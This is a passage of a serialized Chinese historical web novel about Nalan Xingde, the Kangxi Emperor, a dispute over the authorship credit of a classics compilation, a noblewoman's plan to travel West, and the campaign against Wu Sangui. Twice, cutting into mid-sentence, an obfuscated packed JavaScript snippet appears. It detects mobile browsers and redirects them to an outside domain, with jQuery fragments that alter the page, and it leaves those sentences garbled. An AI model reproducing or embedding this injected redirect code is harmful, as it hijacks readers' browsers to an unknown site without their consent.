* 花园内。 一处开的正好的迎春花侧。 “孙儿给皇阿奶请安。皇阿奶吉祥。” “吉祥?”孝庄冷问,“皇上能让我少操心,我自然吉祥。” “皇阿奶是因为纳兰的事,来向朕兴师问罪吗?” “皇祖母来看看,我大清的‘好皇帝’在冲纳兰发泄什么。” 玄烨不认己错,“纳兰性德自恃才高,不满孙儿给他的考试名次。而且他还不要命,想用死来从朕手里来索要翰林院的官职。” 孝庄心明如镜,质问:“皇上问问自己的良心,纳兰是你口中那样的人吗?你给纳兰这个名次合理吗?” 玄烨嘴硬:“有什么不合理?” “皇上!”孝庄加重口气一训,“你这是在否认纳兰的才华,在打满人读书人们的脸!” 玄烨拒不认错:“孙儿没有。” 孝庄摆出事实,道:“纳兰是个有傲骨的人,心志高远如他,经不起皇上这般摧残和屈辱。” 玄烨一转脸,“名次已定,孙儿不会改了。” 苏麻喇姑劝道:“皇上,纳兰公子不爱财不爱权、唯独不想辜负皇上和大清。皇上应该听太皇太后的教诲才是。” “对朕而言,纳兰得第一名和得第十名无别。” “皇上这般说,是打着心底里认可纳兰公子的才学?还是将他置于跟别的泛泛之辈同等而论之地?” “朕,惜才也畏才,如是而已。” 苏麻喇姑看向孝庄,孝庄对玄烨的回应着实是生了气。 在孝庄看来:玄烨不是在对纳兰行使自己作为皇帝的特权,而是心中忐忑,对纳兰爱恨交加,最后选择了让纳兰不好过,以达成自身“恩威并施”的目的。 孝庄走到回廊里坐下,对站着的玄烨道:“皇祖母要你去向纳兰认错。” “什么?”玄烨无疑是不乐意,“皇阿奶您让孙儿给纳兰赔不是,孙儿什么时候给臣子认过错?” “你自己好好想想,你有什么资格把纳兰占为己有、主宰他的人生?他想上阵杀敌你不许,他想入翰修书你不许,他好心献策你偏要唱反调……你接二连三地气他,皇祖母实在看不下去。” “那是因为孙儿在乎他。” “你对纳兰爱重【注1】太过,不是好事!” “请皇阿奶明示,朕该把纳兰放在什么位置?” “皇上自己定夺,纳兰是无论放在什么位置都能把职责做的尽善尽美的人。唯有一点,纳兰有寒疾,皇上不可让他去驻守饱经风霜之地。” “伴君如伴虎,朕多疑多变,不就是冷霜寒冰吗?何需纳兰去塞北?该有的寒意和悲凉,他早体会过了。” “皇上,你自己想接下来如何面对该面对的一切吧!”孝庄起身欲离,“纳兰那边,多叫曹寅去探望。” “朕知道了。”玄烨恭送孝庄,“纳兰没有记恨朕,他只是不满自己的才能被朕这般对待。” 孝庄走后。 顾问行小心翼翼地提醒康熙皇帝:“万岁爷,照奴才看,太皇太后的怒气未消啊!” “你觉得朕心情就好吗?”玄烨冷问,“朕这般对纳兰,叫他与‘状元之名’与‘翰林之修’双双失之交臂,后世之人会如何评价朕?皇阿奶不消气,不是理所当然吗?” “那万岁爷何不听从了太皇太后的意思,叫纳兰公子回来,君臣之间好好说话呢?奴才见曹寅曹侍卫是个懂得察言观色之人,必将促和万岁爷您跟公子。” “再说吧——”玄烨忽然往南方一指,“岭南之师攻打吴三桂城楼已久,朕怎么不见有战报传来?” “奴才也觉得奇怪。”顾问行寻思,“要不万岁爷您即刻回养心殿,召兵部尚书来见?” “好。”玄烨决意,“传朕旨意,叫兵部尚书来见。” * 纳兰容若没有直接回家,而是去往徐乾学府上。 曹寅不解,纳兰只道:“徐先生是我的老师,我倒想看看他心里在想什么?还有那套复杂的丛书《通志堂经解》,我有一阵子没跟徐先生相谈了,顺便探探他的口风。” “我听说徐乾学不待见新入翰林院的编修们。”曹寅道,“他对那些编修口出微词之际,还不忘扯上纳兰你。” “由此可见,徐先生心口不一,他怕是巴不得挑起那些新编修们对我的不满。” “同样的场景和演技重复的多了,徐乾学不腻吗?那些新翰林会看不出来?” “子清你想看看,文人们的风骨是怎么被消磨殆尽的?不是随着年岁增长油尽灯枯,而是处处受制于人,才华得不到施展啊!” “纳兰你自己呢?”曹寅问,“放榜得知名次却不被皇上安排职位的日子里,打算怎么过?” “向阿玛和额娘尽孝道,让袖云和尔谖怀上我的孩子,为明府增添喜事;去看看京师远郊的风景,做一个人闲心不闲的纳兰公子;见见想见的人,跟她一起共处独一无二的光景,为她写词,也为她——” 纳兰忽然停住,“在日后进入明府当我的侍妾争取机会”这句话,实在是说不出口。 “你能先把编书写书的事情放一放也好。”曹寅边说边点头,“你需要把心放飞,到感情里、旷野上、知己间去寻觅自由。” 两人就这么说着,来到了徐府门前。 看门的家丁进去传话后,徐乾学亲自走了出来,张口就是:“公子别来无恙啊!曹侍卫也来了?” 说罢,也不等二人应答,就把二人往家中引。 * 进入徐府的藏书阁坐下。 容若看见了《通志堂经解》上面的刻字,编撰者的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385241|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓名,只写了“纳兰成德”四个字。 他心里明白:徐乾学这是故意的编撰的“功劳”都归属在自己的学生身上,看似谦虚礼让,实则是想让纳兰成德变成一个自私自利、好大喜功、沽名钓誉之人。 甚至是进一步推敲,事后必定有人上奏折弹劾:参与编撰《通志堂经解》之人,上至大学士徐乾学、下至只出小力之辈,皆是畏惧纳兰明珠的权势,才把功劳全部归让于其子成德。 ——如此一来,康熙皇帝必定会寻得理由来惩戒纳兰父子,徐乾学好是险恶的用心! ——想要借机落井下石,叫康熙皇帝疏离纳兰父子,徐乾学你当真是记自己无法依附明党之仇,是否要无耻地去找索党之人助尔张目? “吾师何以抬举学生至此?”纳兰礼貌问,“学生腹中学问,也有数成是吾师所授,理应跟吾师并列名例。” “本官是为你着想啊!”徐乾学装作大度,“如今皇上不给你应有的功名,叫你在天下读书人眼里有口难论。本官正是要让这《通志堂经解》来为你正名和缓解你心中的不得志之苦啊!” “学生知悉吾师用意。” “公子别这么说。”徐乾学站在孔圣人的挂轴下方,摆了摆手,“本官对你是尽心尽意,所作所为皆是心意。” “吾师打算何日将这独刻了成德之名的范本上呈圣阅?” “公子觉得不妥当吗?”徐乾学挤出一丝笑容,“扬名天下不在人而在书,成德之著述,岂非震古烁今,有口皆碑?” “学生只怕是惊煞众人,不但不得好名声,更是将吾师也陷入不义之地。” “本官甘居幕后,一切以公子为重,以大清文坛为重,以吾皇万岁为重!” “吾师此言差矣,成德尚且年岁二十,不足以跟鸿儒学者并提,冒然署名于巨著之上,独占一席,如何叫后世之人信服?吾师说再多‘关切’与‘爱徒’之语,也只会落得一个虚伪的名声罢了。你我师徒应垂范青史,不应诟病于后世之口。” “那公子以为,《通志堂经解》的署名该如何办啊?” “应当是并署成德与吾师之名,再插入一页,详细刻入参修者之名,不可有一疏漏,才可说是无愧于心。” “那可就不是一页可以放得下的了。”徐乾学故作惊慌,“公子心善至此,是该为后世所尊。” “主撰两名,你我师徒;编修数员,并存于册。本就是合情合理。”纳兰翻了翻书页,“只是吾师自作聪明,‘爱’成德过甚罢了。” 徐乾学心中一怒,切齿咬到了自己的舌头,疼的厉害。 ——好你个纳兰性德,本官是巴不得你背负一个“自高自大”和“名自父望” 【注2】的骂名。之前本官不认为自己会与你一荣俱荣、一损俱损,现在却如同受了师徒关系的束缚一般,飞蛾扑火,自燃羽翅。 ——你为这套儒家经典释义丛书耗费了多少心血,你心里没数吗?光凭这点你就值得留名独树。你怕如此会给你阿玛明珠招惹弹劾?你的孝心在本官眼里,真是可怜可悲。 “公子,本官有掏心窝的话不得不说。” 徐乾学与纳兰隔着一张桌子面对面。 “你怎么会有自己编书得成是托了明珠大人的权势的想法呢?怎么会觉得别人帮助你整理书里的资料,也是看在明珠大人的面子上呢?你有自己的才华,能够倾注三载来成就一事,谁敢说你不如那些老夫子和汉人?” “我徐乾学就算有再多的心眼,也不至于在《通志堂经解》的署名权上惹公子你胡乱猜疑啊!至于公子所说,后续徐某要把刻本上呈皇上、背后联合索党参纳兰父子一本……更是无稽之谈。” “吾师不必急着辩解。” 纳兰觉得心情沉闷,双眸垂倦。 康熙皇帝的打压不用,已是如葛藤缠绕心扉;加上座师徐乾学的别有用心,更是自明自伤。 * 《通志堂经解》刻名之事,可以说是不了了之。 纳兰容若的精力只允许他后续跟进,没法当场跟徐乾学一锤定音。 纳兰迷茫地骑马缓行。 无意归家面对明珠,也无意去别的地方消磨时间,仿佛天地之间,己之所往只是马匹之所向而已。 “子清你说,除你之外,我这般处境,还能求谁来分担心事?” “这署名之事可大可小。”曹寅在心中一权衡,“你应该尽早拿定主意。或者就先一步跟皇上说。” “我心中,苦水满溢。”纳兰用心捂了捂心脏,“我独挑主编之名,不错是我应得。但是时局由不得我如此,天下读书人和朝纲重臣们……哪能服气把功劳都归在我身上。他们不会直接针对我,只会把不满都指向我阿玛明珠,我不能做个不顾阿玛将来处境的不孝子。” “我不是很懂。”曹寅问,“徐乾学这么做对他有什么好处?难道看着纳兰父子不痛快,他就爽快了吗?” “子清,当下的人言可畏不足惧。”纳兰摇头,“可怕的是,康熙朝过后,大清江山在爱新觉罗家的子孙手中交替,他朝皇帝【注3】会如何评价我?我在天上听得他朝皇帝之声时,会不会黯然伤神:原来一个人,死后百年,也能身败名裂啊……” “你的祖王父多尔衮,不正是如此吗?”曹寅重提往事,“多尔衮是为大清打下江山和定都北京的功臣,身后之名,又能得几多公正评价?” “都是宿命,祖王父的宿命,我纳兰性德的宿命……” 【注1】爱重:喜爱和器重 【注2】名自父望:名声来自父亲明珠的威望和权柄。 【注3】关于《通志堂经解》的署名问题,乾隆皇帝对纳兰成德多有责难。乾隆皇帝对纳兰成德的责难和成见源自和珅。和珅主张不在《四库全书》中收录纳兰性德词作、千方百计侵占纳兰最爱的渌水亭,且在乾隆面前对纳兰父子多有不实之言。可见专栏《大清第一额驸·丰绅殷德传》(又名:《和珅之子·丰绅殷德传》)。 124.第124章 一等公朴尔普从皇宫归来,还未看见家中光景,就听见了一阵吵吵嚷嚷的声音。 原来,是夫人章佳氏在对女儿云辞苦口相劝。 另一边,有好几个家丁对着一堆“行李”愁苦满面,不知如何是好;此外,还有几个掌事的嬷嬷管不住嘴,正聚在一起议论纷纷。 朴尔普快步上前,指着女儿问:“你这是干什么?” 云辞毫不隐瞒:“南下,登船,去海的对岸。” 朴尔普眉一挑、眼一瞪,算是明白了夫人为何心急如焚: 这般没规矩、失分寸、不计后果的事要是传了出去,云辞作为一个女儿家,必将成为天下人的话题焦点。 到时候太皇太后和皇上那边要如何交待? 鳌拜要是泉下有知,怕是也会跳出来指责:朴尔普你真是教女无方,洋人的东西就那么好?西洋的土地就那么吸引人?我大清的祖制和我瓜尔佳氏一族的家法,在你女儿眼里竟成了文明开化的绊脚石了吗?你们父女,好好跪在列祖列宗的画像面前反省去吧! 朴尔普浑身一颤,就跟鳌拜在哪里盯着一般,问管家:“祠堂之中,除了费英东和图赖的画像外,可还放置了鳌拜的……” “老爷您莫不是被女儿气糊涂了?”章佳氏立刻拿着帕子捂住了夫君的嘴,“鳌拜是康熙皇帝盖棺定论了的罪臣,咱们家怎么能给他供香火?” “是啊老爷。”管家道,“哪怕家里上下都还认鳌拜这个宗亲,也不能有所说和有所张扬啊。” 朴尔普叹了口气:“这是什么世道?!鳌拜获对皇上的大逆不道之罪,云辞放纵不羁在皇上眼皮底下与清制背道而驰,真是一件比一件叫本官难为难堪!!” “我瓜尔佳氏一族没见过像你这样叛逆的格格!” 朴尔普指向女儿的房间方向,意思是叫她认错和回去思过。 “帝师南怀仁要告假回西洋,女儿已经跟老师商量过了,一并而往。” 云辞所说,并非借口。 “你眼里有我这个阿玛吗?” 朴尔普感觉自己的份量还不如一个洋人,南怀仁那叫识时务知进退,在康熙皇帝给纳兰性德安排一个“恰当的职位”之前明哲保身,免得日后康熙皇帝圣意难揣:叫纳兰性德从事洋务。 偏偏女儿云辞真把南怀仁的“告假”当了真,以为帝师真的思乡心切,才恳请康熙皇帝恩准此行。 “你简直是糊涂!” “女儿向往西洋,是为了过不一样的生活。” 云辞那副“去了西洋之后就不想回国”的姿态,气的朴尔普是甩袖跺脚。夫人章佳氏只得一边对女儿再劝、一边给老爷顺心平怒。 好一会儿,朴尔普终于看清了女儿的心思,问:“你是看不惯皇上对纳兰的做派吧?” 云辞应的简练:“不错。” “你的心思瞒不过阿玛。”朴尔普领着云辞和夫人走向客厅,“但是你走了又如何?远离大清,就能对皇上眼不见为净?就能不认自己的八旗望族血脉?” 云辞不后悔自己的抉择:“那也比留下来继续看当下的事态强。” * 朴尔普没想到,自己一踏入客厅,就碰见了看上去已经等候多时的禹之鼎。 禹之鼎亦是穿着一身随时可以“渡海”的服装,神色无所畏惧,只等春风送爽,壮志一番远航。 “在下欲与云辞格格同行,还望未来的岳父大人恩准。” “混账!”朴尔普就知道眼前人会这么说,遂冷问他,“且不论是你保护云辞,还是云辞保护你,禹画师你能说一句洋话吗?” “能!”禹之鼎自信地打了句包票,“在下日日精进,不但能说基本的洋话,还能写基本的洋文。” 朴尔普不信,只抽搐嘴角“啧”了一声,讽刺道:“你倒是有能耐。” “未来的岳父大人要是不介意,在下娶云辞格格之日,愿意办西式喜礼。” 见禹之鼎得寸进尺,朴尔普训道:“本官看你是异想天开、不想当大清的子民了!你敢不敢把辫子剪了,蓄洋人的卷毛和弯勾胡须?” 禹之鼎站的笔直,发誓一般道:“为了未来的岳父大人您的名声和瓜尔佳氏一族的威望,不敢!” “算你认得清状况。”说罢,朴尔普转向章佳氏,“夫人,本官怎么没见禹画师的行李一并放在院中?” 章佳氏道:“禹画师说自己要效仿东晋大画家顾恺之【注1】,到西洋去‘义卖画作’扬名声,无需多带身外之物。” “你真是出息了!”朴尔普眼前一亮,“之前你说你要去日本,那也只是‘售画自赚’。如今你却是大志满满,想着去西方‘卖画捐钱’,钱款一旦筹成,悉数进献教会和皇室,教皇和皇帝如何不会大大赞颂于你和大清?禹之鼎,你果然是不同于寻常人啊!!” 禹之鼎一点头,接受了朴尔普的夸赞。 只是其中的艰难与不易、险阻与困境、机遇与时机,皆看天意。自己的绘画才能将如何尽展,还是个未知数。 ——身心俱在,神会之所往,不可用具体言语对未来的岳父大人细说。 ——名利皆虚,技艺之磨砺,是为心志所驱使、骨气所直前,胸使然。 回首学画道路,心中仰慕的先贤名家不可少。 真国手者何人?禹之鼎一生遥羡风流顾恺之。 心怀触动,禹之鼎感慨道: “在下幸得顾恺之入梦提点,才越发知道,泱泱千载春秋过去,原来自己才是长康【注2】的后继之人!” “好好好。”朴尔普对禹画师的态度变得客气,“你打算给洋人们画点什么啊?” “大圣堂和教典之中的人物。” 禹之鼎心中,已有蓝图。 “你的前途真是不可估量!”朴尔普大惊,“本官还以为你说自己能看洋书是在说笑,这会明白了,禹画师你是认真的。你且照着洋书里面的描述好好作画,过后之事,本官自会安排打点。” “阿玛的意思是?” 云辞心中总觉得哪里不对。 “女儿啊,”章佳氏松了口气,微笑道,“你阿玛的意思是这趟西洋之行你不必去了,叫禹画师随行南怀仁南大人就好。一方回避朝野争端,另一方画作大展宏图,岂非两全其美?” “夫人说的不错,本官正是此意。”朴尔普乐观地拍了拍禹之鼎的肩膀,“禹画师你愿不愿意独自成行啊?” “这个……”禹之鼎看向云辞,竟一时答不上话来。 “你不是一身赤胆做足了准备吗?怎么现在就没勇气了?”朴尔普煽动道,“我大清的画师要想出人头地、名扬海外,得有人做表率!那个人就是你,你学成归国之时,就是小女云辞——” 朴尔普正想说出“嫁入纳兰家之日”,却被女儿打断。 “够了阿玛!女儿要是有心想走,大可以走的悄无声息,不必做出这些动作来给全家上下看。女儿说了要走就一定会走,跟禹画师一起走,太皇太后和皇上那边,女儿自会去请准,不必劳烦阿玛大驾和口舌。” * 朴尔普在客厅内来回踱步。 仔仔细细想了一番之后,倒是想通了: 云辞和禹之鼎走出大清国门,好歹还有帝师南怀仁牵制着,估计也惹不出什么乱子来。皇上清净了,瓜尔佳氏一族的安泰可保;瓜尔佳氏一族平安了,来日嫁女之事……在明珠面前也是好说好说。 明珠应是知道本官的心思,在将来不会不认这门亲事。 禹画师啊禹画师,你注定了娶不了本官的女儿,可谁不能怪!要怪就只能怪你是个汉人,满人望族没有跟汉人通婚的规矩! 朴尔普往主座上一坐,威严道:“云辞,禹画师,既然你俩已经不想回头了,就跟着南怀仁南大人的步伐往西洋去吧!本官和夫人,自会在家中祈愿你等平安顺遂、不负所望。” 云禹二人齐声道:“谢阿玛/谢未来的岳父大人开明。” 离开客厅。 去往小花园的路上,云辞道:“说到底,阿玛还是在乎家族利益。阿玛是觉得,女儿跟康熙皇帝之间的见面、对话和瓜葛越少,家族就越安稳,所以才答应我出国。” “云辞,你后悔自己是个女子吗?”禹之鼎问,“你要是个男子,就能建功立业,加官晋爵之后过自己人生。” “不后悔,女子有女子的道路,走了才知道结局。”云辞仰头看蓝天白云,“禹画师,你我要珍惜将来的时光才是。” “那我也不后悔,愿为娶你付出一切。”禹之鼎深深呼吸阳光,“我禹之鼎,向官云辞约定三生,永不相负。” * 济国寺。 容若坐在禅室里,跟妙觉禅师面对面。 容若盘腿于蒲团之上,恳切道:“弟子近来多有烦扰,不知前路,别无后路,还请大师指点迷津。” 妙觉禅师双手合十,开示道:“公子的惆怅,源自心志之不展、抱负之不得,更有兼顾父亲立场之难言,此三业火,唯有时间能灭,切勿强求安然。” “我若只做等待,在编书与会客当中度日,偶的妻妾之乐和花草之趣,岂非寻常如旧?我下意识认为,有个文职就能够对得住这十几年来的苦读,终究是痴与嗔,错付了一腔翰林梦。” “公子此生虽与翰林院无缘,但是却能够陪伴一代明君走遍大江南北,不仅仅扈驾,更是在所到之处——词名青垂,品格远扬呐!公子之心,一半隐逸山林间、一半飞渡尘世中,是不能多求安稳的。” “敢问大师,皇上接下来会给我什么差事?我又该如何面对人生新路?” “圣心难测,老衲不能占卜天机。唯一能够对公子说的,不过是下面这些话罢了。” “大师请讲——” 妙觉禅师请容若先饮清茶,才道:“未来公子要经历诸多历练,情关上如此,臣子本份上也如此,切记:失之不可得,得之莫忘失,往往复复,人活一世,不过一粒芥子罢了。” 容若对着矮桌上面的一个素净玉瓶沉默。 忽然心中觉得有树叶飘落,遂喃喃道:“一叶知秋深,一掌覆乾坤,人不如叶不知气候转凉;掌心不如内心,不知冷暖可煎。” 妙觉禅师看向窗外,绿叶在枝,花卉迎时节,并无凋零或吹落之痕。 再抚过桌面,亦是寻常触感与温度,不见掌心之敏感忽生、脉络之怦然鼓动。 “如今尚在春末,公子何故言秋?” “容若心魔未消,才会有此三寒四温的交替感受,大师只管继续说禅,容若无声续听就是——“ * 半晌。 纳兰容若谢过妙觉禅师,走出禅房,穿过寺中走廊,向寺门口而去。 那个熟悉的身影映入他的眼帘,他上前,笑着打招呼: “真巧呀!在这里碰见宛卿。” 容若并不知道:沈宛和宋应星就住在济国寺的后山独栋屋之中,沈宛之所以会在此时出现,完全是照着行程来寺内烧香祈福,为自己和公子共求一个好前程和一份好姻缘。 他只当一切都是上天促成的巧遇,心情就慢慢地变得明亮起来。 沈宛改变了入寺的计划,乐观积极地对容若道:“公子要一同到后山去看鹅黄花(蜀葵花)吗?五月未到,却也是日日在长高,抽出了花苞来。” “是宛卿亲自收集了我给的蜀葵小苗的种子,然后亲手播种的吗?” “是啊,公子说过济国寺的方丈跟纳兰家渊源颇深,会常来寺中问禅和参禅,所以我就赌一把,在后山栽种鹅黄花,看看多久能与公子相遇和携手去看。” “那是多久?” “第一年播种,第二年生长,第三年有花可期。”沈宛并行在容若身侧,“算起来,是个遇见容若三生有幸的好周期。” “啊,是了,已经过了三年了。”容若感叹光阴易逝,“从我上次病失殿试到这次补殿试,已经过去整整三年了,还是蜀葵花最记得岁月变迁。” “花归花,风絮扑行人,残绿褪绯红,团扇蝶影抱画枝。”沈宛吟出一句词,芳心庆幸人依旧,“我可是一直惦记着容若你的。” “一日不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397208|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如隔三秋,我与宛卿一月未见,好似隔年。” “公子可愿与我花前月下,观星裁云,天明而归?” “你怎不问我:是禅修在外,归晨钟暮鼓?还是离家一日,归豪华门第?” 沈宛其实很想告诉容若: 师傅宋应星跟张岱先生一同离开京师踏春去了,要一个月后才回来。 所以后山独栋屋中,就只有我在居住,真的好想跟公子一同共渡春宵:饮杯酒、赋新词、聊一切,将所有的美好都珍惜和铭记在心。 “我只听容若说‘好’或者‘不好’,不问容若的外出理由和归程打算。” “那——”容若温润,“我只答宛卿一个字:好。” * 容若和沈宛并立在蜀葵花前。 鹅黄色的花苞虽未绽放,但也姿态清雅,不与同季节的群芳争艳。 “我跟师傅就住在这儿。”沈宛指着不远处的房子,“我在师傅面前说了自己喜欢公子,师傅没说自己的想法,我便当作他是默许。” “我有遗憾,知道了宛卿的住所也不能随时而来。”容若在房子前的空地上面的石桌侧坐下,“倒不是我不敢面对你师傅,而是晓得你们师徒都是汉人,怕自己的行踪会被徐乾学或是索党之人所知,叫他们顺藤摸瓜至此,对你们师徒不利。” “徐乾学是个小人,为了自保什么都能对皇上供出来,他对张岱先生的出卖,何止一次两次?公子自身也要小心,小人居心叵测,防不胜防。” “宛卿帮我拿个主意,徐乾学非要在《通志堂经解》的主编位置独刻‘纳兰成德’之名,陷我于好大喜功之地,我该如何是好?” “公子的现世名声,自有明白人可辨;等到《通志堂经解》传至公子百年之后,是非黑白早已管不了天子之口和天下文人之口,公子自在天上听碧霄弦歌便罢,何须再闻凡间之事?” “你说我该如何回应阿玛和保全阿玛名声?” “公子不妨换个角度去想,徐乾学真的有胆子上折子弹劾‘容若自大’和‘明珠敛财如水、挥金如土’吗?《通志堂经解》是康熙朝的巨著,甚至是可以说奠定成德与乾学师徒地位的集大成之作,徐乾学何须惹康熙皇帝:迁怒纳兰容若和以明珠为鉴、肃清朝纲?” “宛卿觉得徐乾学只是在气我,才搞出这些动作来?” “不是吗?” “嗯,不是。” 容若道:“徐乾学想要明珠在朝中失人心、纳兰父子在康熙皇帝心中失地位,可以通过这件看似简单的事情达到目的。宛卿你别小看一个名字的放置,这背后,是千千万万文人的眼睛和一石千浪的政局利害关系,我觉得自己像是海上的一叶舟,拼命维持着风平浪静,却在不知不觉间停止了前进。” “换做我是公子,也会心存一样的想法。” 沈宛将自己亲手做的“四季平安糕”从屋内拿出。 “公子的一念之间,后果与利弊自分。若是公子先发制人,将《通志堂经解》的首要几册在徐乾学之前——献给皇上和刊刻发行于世,署名封面和卷页皆由自定,岂非免去了跟座师斡旋的烦恼?” 容若笑赞沈宛的提议好。 的确如此,师生商量总归是句句言不由衷、即便是最后双方妥协也费尽精神。还不如直接跳过徐乾学,自行将《通志堂经解》的首要几册公诸于世,自设封面与署名来得万事周全。 * 星夜。 容若和沈宛一起在轩窗边,相依望月。 “还是这般意境好,无论如何上演笑嗔痴,”容若笑了笑,“都不会被别人瞧见。” “皎月飞光春厢眷,自斟薄酒暖长夜,我替公子饮。” 沈宛拿起桌面上的小杯,将里面的清酒一饮而尽。 “人比花娇长足惜,一晌贪欢惟卿知。 念得好景不常有,天下佳偶似相痴。 明燕双飞为衔春,池鱼并头连理枝。 月尽天明花千蕊,稍觉轻寒眸暗凝。” 二人诉情论诗,真心相近。 忘却时光,忘却出身,容若和沈宛只能在这样环境中共温一份情愫。 烛花渐落,月移星退,长夜漫漫而话语不尽,誓言旦旦而共许将来。 待到天微微亮,沈宛入厨房熬制了最简单的白粥和翻煎了几块素的萝卜丝饼,她说这样的朴素日子最好,有情人之间,无非就是:相对有真心话可说,围桌有热饭食与共。 容若为沈宛留下一个玉扳指,他说在满人的文化里,玉扳指代表坚韧、智慧和英勇,希望自己跟宛卿的情缘也是如此。 沈宛说,那自己定要用罗帕包着来保存。 容若笑,罗帕温软轻盈,是女子的贴身之物,如此牵系着他的玉扳指,可见宛卿对他是爱的深切。 * 别离之时,正是风清日朗的天气。 容若的马像是知道背上眷侣不舍分开一般,缓缓而行。 “下回再见,定于四月初的‘一双人’雅室。到时候我给宛卿带樱桃。” “一言为定。我回报公子以桑葚,一同捣汁吃可好?” “樱红桑熟最可人,好!” 容若带着憧憬,吟出《桑果诗》一首: 四月溪底知清浅, 桑果色深熟犹在。 香甜室中赏春光, 疑似云霞天女裁。 【注1】 顾恺之:东晋画家,“义卖画作”的鼻祖,顺利为寺庙筹集修缮款项;“画作拍卖”的鼻祖,他之后,画作才成为竞价品,世人争相抢购名家字画的风气,从此打开。 【注2】 长康:东晋画家顾恺之的字。 人物肖像画方面,大清以禹之鼎的笔法和构图为最。 禹之鼎的《八仙人物图》,可媲美顾恺之的《洛神赋图》,是人物画的至高一品。 【注3】 专栏可预收《千古画圣顾恺之》,下本开。 一句话简介:三绝才子顾恺之x蕙质兰心桓杳,画画恋爱参政三不误。 125.第125章 康熙皇帝十日前才从兵部尚书的口中听到“岭南之师与吴三桂之兵僵持不下、战况难料”的消息,今日又收到急报。 有传使飞马而来,道:“启禀皇上,岭南之师败于逆贼吴三桂秘密训练的本地贼军,两广总督已经……已经以死殉国了!” “什么!”康熙皇帝站了起来。 “我军……战败退屈……” 传使俯首,不敢看天子的脸色。 “朕知道了,退下吧!” 康熙皇帝只感觉一腔怒火蹭蹭地涌向头顶,那吴三桂竟然反败为胜,置大清天子的脸面于何地? “万岁爷。”顾总管小声道,“这两广总督任免至今,战死的战死,自尽的自尽,怕真是没谁敢当了。还不如叫那不怕死的于成龙代为领了这份差事,不叫他领兵打仗,只叫他先去衙门里坐着,稳定人心就好。” “朕现在什么都听不进去,什么人都不想见。顾总管,你到外头候着去吧!” “是,奴才随时听万岁爷吩咐。” * 次日,康熙皇帝把明珠和索额图同时召到养心殿来见。 玄烨问:“岭南之师被吴三桂打败,大失大清国威,你俩有什么话说?” 索额图道:“皇上之所以在听到吴三桂‘病危’的消息之后,就派兵前去试探虚实和肆机攻打,皆是因为纳兰性德佞言惑君。臣只是庆幸,安亲王和裕亲王,托台和张富泰两位将军没有挥师南下,否则一番兴师动众的军事行动过后,却是今日结果,皇上您的颜面更是挂不住。” 明珠道:“臣对过往之不利和当下之败局无话可说,只能尽心尽力为皇上提出补救之策,望皇上采纳。” 不等玄烨反应,索额图就急着道:“你儿子误君误国,你这个阿玛承担后果和尽力挽回不是应当的吗?别把自己放在进谏忠臣的位置上!” “明珠你说——” “是。”明珠拱手面君,“岭南之师虽是战败,但是能够活着回来的将士已属不多与不易,皇上应当派人前去安抚才是;吴三桂诡计多端,又是苦肉计又是装病,演的就跟天要亡他伪周王朝一样,实则在暗地多有布兵与筹谋,故而怪不得我军失算。事已至此,臣恳请皇上先行作罢,不作后续战略部署,等到时机再熟……再剿灭贼军不迟!” 听明珠说罢,索额图哈哈大笑。 “明珠啊明珠,你这是叫皇上认输和认怂啊!我大清要是断送在你这般没骨气的臣子手里,真是千古难恕。” 明珠冷面以对,“索大人有何对策,但说无妨。皇上听完,自会定夺你我谁优谁劣。” 索额图遂滔滔不绝地发表起看法来: “启禀皇上,臣以为:朝廷应调动举国之师来对吴三桂火力全攻,不然吴三桂得寸进尺,纠结乱党,聚少成多,必将更难拔除!退一步说,就算我大清全国的兵力都不足以平藩,那也已经尽人事听天命,皇上写下《罪己诏》之日,想必列祖列宗也不会怪罪。” “另外,明珠父子只会口上论策,才酿成今日败局,论罪当重罚。” “你叫朕写《罪己诏》?”玄烨沉下脸,“索额图,你是巴不得大清江山断送在朕手里吗?” “臣只是叫皇上做好‘万一’的准备。”索额图悻悻道,“绝无对皇上不敬之意。” “要不是看在赫舍里皇后的面子上,朕对你绝不轻饶!” 玄烨对明索二人的答复皆是不满。 “明珠,你不是胆小只是想避让求全,才叫朕采取忍让之策,朕不会听;索额图,你看似主战实则推卸责任,才叫朕采取勇斗之策,朕也不会听。你俩都是朝廷重臣,朕养着你俩干什么?关键时刻,就拿不出一个更好的对策来?” 明珠道:“皇上,忍让不等于退缩,不等于对贼寇就不防御,臣的意思是一站过后不宜再起一站,皇上如果坚持要打,也至少要等到八月份再出兵啊!臣方才所说的安抚人心一事,还请皇上再做慎重考虑,战死的将士已矣,存活之人亦值得慰见天恩。” “朕战败了还给活着的士兵奖赏,在吴三桂眼里不就成了一个笑话吗?” “别人眼里的笑话都不作数,只要活下来的士兵肯再次为大清效力,皇上就是赚了。” “朕看你自以为是过头了!”玄烨走到明珠面前,“你说这些不像是个忠臣,倒像是——” 玄烨念出了一句词: “独立小桥风满袖,不辞镜里朱颜瘦。” 【注1】 * 就在此时,纳兰性德不顾梁九功梁公公的拦阻,闯入了养心殿内。 “皇上把臣的阿玛比作南唐奸相冯延巳,臣万万不能接受!” 玄烨见纳兰的模样,就跟是官云辞附身了一般目中无君,不由得气上加气。 